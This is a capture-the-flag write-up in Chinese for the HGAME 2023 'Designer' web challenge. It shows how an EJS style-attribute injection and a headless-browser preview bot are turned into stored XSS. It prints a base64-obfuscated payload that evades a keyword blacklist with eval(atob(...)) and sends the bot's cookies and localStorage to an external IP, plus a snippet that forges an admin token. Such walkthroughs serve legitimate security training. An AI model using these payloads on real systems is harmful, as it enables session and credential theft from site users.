HGAME-2023-week2 Designer-复现
环境:NSSCTF
首页是一个注册界面,随便注册个名字进去
是个编辑按钮样式的界面,在这三个编辑框都尝试了XSS并没有反应,这时可以去审源码了
先看首页index.js的路由
1 | const express = require("express") |
我们一个一个来分析路由的作用:
我们一开始进入了’/‘路由
1 | res.render("register")//这段代码会进入register.ejs渲染的页面,ejs是javascript的一个模板引擎,他允许用模板标签快速地在html中插入js代码,这个特性再下面会看到 |
点击register按钮后,系统会把我们的username用POST传到这个路由当中
1 | app.post("/user/register", (req, res) => { |
分析下这个路由,username就是我们的请求体中的username,然后会先给我们一个fake flag(注意这里只是返回一个json形式的token,如果需要本地存储要用localStorage.setItem),下一行会判断如果我们是admin并且IP地址为127.0.0.1(后面那个ip目前没有很好的伪造方法),就会给我们true flag,试试XFF伪造,发现没用,只能继续往下看,最后就是把带有fake flag的username属性的jwt发给我们的浏览器本地存储
目前,我们的思路是:通过某种方式获取到靶机的cookie,然后jwt解密就能找到真flag
然后我们跳过一些不重要的路由(这些路由都是关于css样式),直接进入/button/share
我们我们来详细讲解一下这段路由:
定义一个异步的无界面的模拟浏览器
1 | const browser = await puppeteer.launch({ |
模拟浏览器操作,新打开一个页面,并将编码后的请求体数据作为新url中的参数访问preview路由
这里的page.goto是在服务端完成的,这很重要,也决定了我们为什么能用xss
1 | const page = await browser.newPage() |
最后才是
1 | localStorage.setItem("token", "jwt_token_here") |
给我们本地存储一个jwt,负载的是jwt_token_here,token就是上面我们定义并且生成了负载的变量
现在,我们来看/button/preview路由
首先是一串黑名单,过滤的内容都是跟xss行为有关的
比如’on’,并不是有一个叫on的方法,而是过滤了onclick,onmouseover类似的含有on的操作函数
‘localStorage’ 是HTML5提供的一个客户端存储技术,可以将数据持久化存储在用户浏览器中。在XSS攻击中,攻击者可能会利用’localStorage’向用户浏览器植入恶意数据或脚本。同时,攻击者也可能尝试读取或修改’localStorage’中的敏感信息
‘fetch’ 关键词:’fetch’ 是一个用于网络请求的JavaScript API,可以用于获取资源、提交数据等。在XSS攻击中,攻击者可能会利用’fetch’发起恶意请求,用于获取敏感信息、篡改数据或与其他恶意网站进行通信。
最后,带着query去访问preview渲染的模板
1 | res.render("preview", { data: req.query }) |
在preview.ejs中,我们可控的地方在
1 | <a |
这里就是上面提到的ejs的特性之一,类似jsp和flask,ejs将<% …..%>之间的内容解析为js代码
这里举个例子容易理解:
正常情况下,我们可以传入
1 | {"border-radius":"0px","background-color":"#000000","color":"#000000","border-width":"1px","box-shadow":"3px 3px #000"} |
也就是我点击share按钮时的请求
在
1 | <% for (const key in data) { %><%- key %>:<%- data[key] %> ;<% }; %> |
中,data就是我们传入的这些json对象,key就是json对象中的键值,data[key]便是对应的值,
解析后就变成:
1 | style="border-radius:0px;background-color:#000000;color:#000000;bor....(此处省略)" |
因为是用拼接的形式来进行style定义的,所以我们可以通过提前闭合style定义的语句然后插入script代码来进行xss、
这是对于两个ejs标签的解读:
<% %>
:用于嵌入JavaScript代码,但不会输出任何内容。这类标签通常用于执行循环、条件判断等控制结构。<%- %>
:用于输出非转义的内容。在EJS中,这意味着输出的文本将保留原始格式,而不会被转义。这对于输出HTML和CSS样式等原始内容非常有用。这里的转义是指变量的值不会被转义而不是原封不动的输出
这里再解释下为什么要用4对标签而不是一对标签就完事,如果你尝试只用一对标签,例如 <% for (const key in data) { - key :- data[key] ; }; %>
,首先“:”不会被正确显示在style中导致语法格式错误,其次-key -data[key]中的-应该与<%-在一起,不然是个语法错误,虽然这里和这道题本身没关系,但是还是值得思考一下的,作者这里有点词穷,读者们可以自己推敲一下
下面我们来说如何将我们想要的js语句插入进去,首先要提前闭合style样式的双引号””,目前我们已知解析后的格式为style=”key:data[key]”,这里我们选择从值入手(读者可以试试从键入手)
我们随便选个样式属性,提前闭合,
1 | {"background-color":"\""}//注意这里要转义引号 |
在后面构造我们的xss payload
1 | {"background-color":"\"<script>alert('test');</script>"} |
因为是靶机自己去访问preview,所以我们这里没有回显,因此我们要让靶机连接我们的vps,在我们的vps上起一个netcat监听
这里用atob函数可以规避黑名单的检测,这里要记得加eval,否则就是单纯输出字符串了
1 | {"background-color":"\"><script>eval(atob('YXN5bmMgZnVuY3Rpb24gcigpCgl7Cgl2YXIgYT1uZXcgWE1MSHR0cFJlcXVlc3QoKTsKCXZhciBiPW5ldyBGb3JtRGF0YSgpOwoJYi5hcHBlbmQoJ2MnLGRvY3VtZW50LmNvb2tpZSk7CgliLmFwcGVuZCgnbCcsd2luZG93LmxvY2F0aW9uLmhyZWYpOwoJYi5hcHBlbmQoJ2xzJyxKU09OLnN0cmluZ2lmeSh3aW5kb3cubG9jYWxTdG9yYWdlKSk7Cgl0cnkKCQl7CgkJYi5hcHBlbmQoJ2NkJyxKU09OLnN0cmluZ2lmeShhd2FpdCBjb29raWVTdG9yZS5nZXRBbGwoKSkpCgl9CgljYXRjaChlKQoJCXsKCX0KCWIuYXBwZW5kKCd1YScsbmF2aWdhdG9yLnVzZXJBZ2VudCk7CglhLm9wZW4oJ1BPU1QnLCJodHRwOi8vMS4xMTcuMjQ3LjE0OjgwMDAiKTsKCWEuc2VuZChiKQp9CnIoKTsK'))</script>"}"} |
其中base64编码的js脚本如下:
1 | var xhr = new XMLHttpRequest(); |
接受到的请求:
这里因为靶机还没有访问register,所以没有本地cookie
利用xss让靶机访问本地的register路由,并且使username=admin,然后让其访问share在本地存储token,让其获得真flag供我们读取,最终再xss把自身存储的localStorage和cookie都发过来
或者直接跳过share,直接显示token
1 | $.post("/user/register",{"username":"admin"},function(result){ |
试了很久,只有第二种方法直接获取register返回的token成功了,第一种方法一直读不到东西,很奇怪
一开始我怀疑是不是不能用json,后来传post参数username=admin后还是读取不到token,懒得管了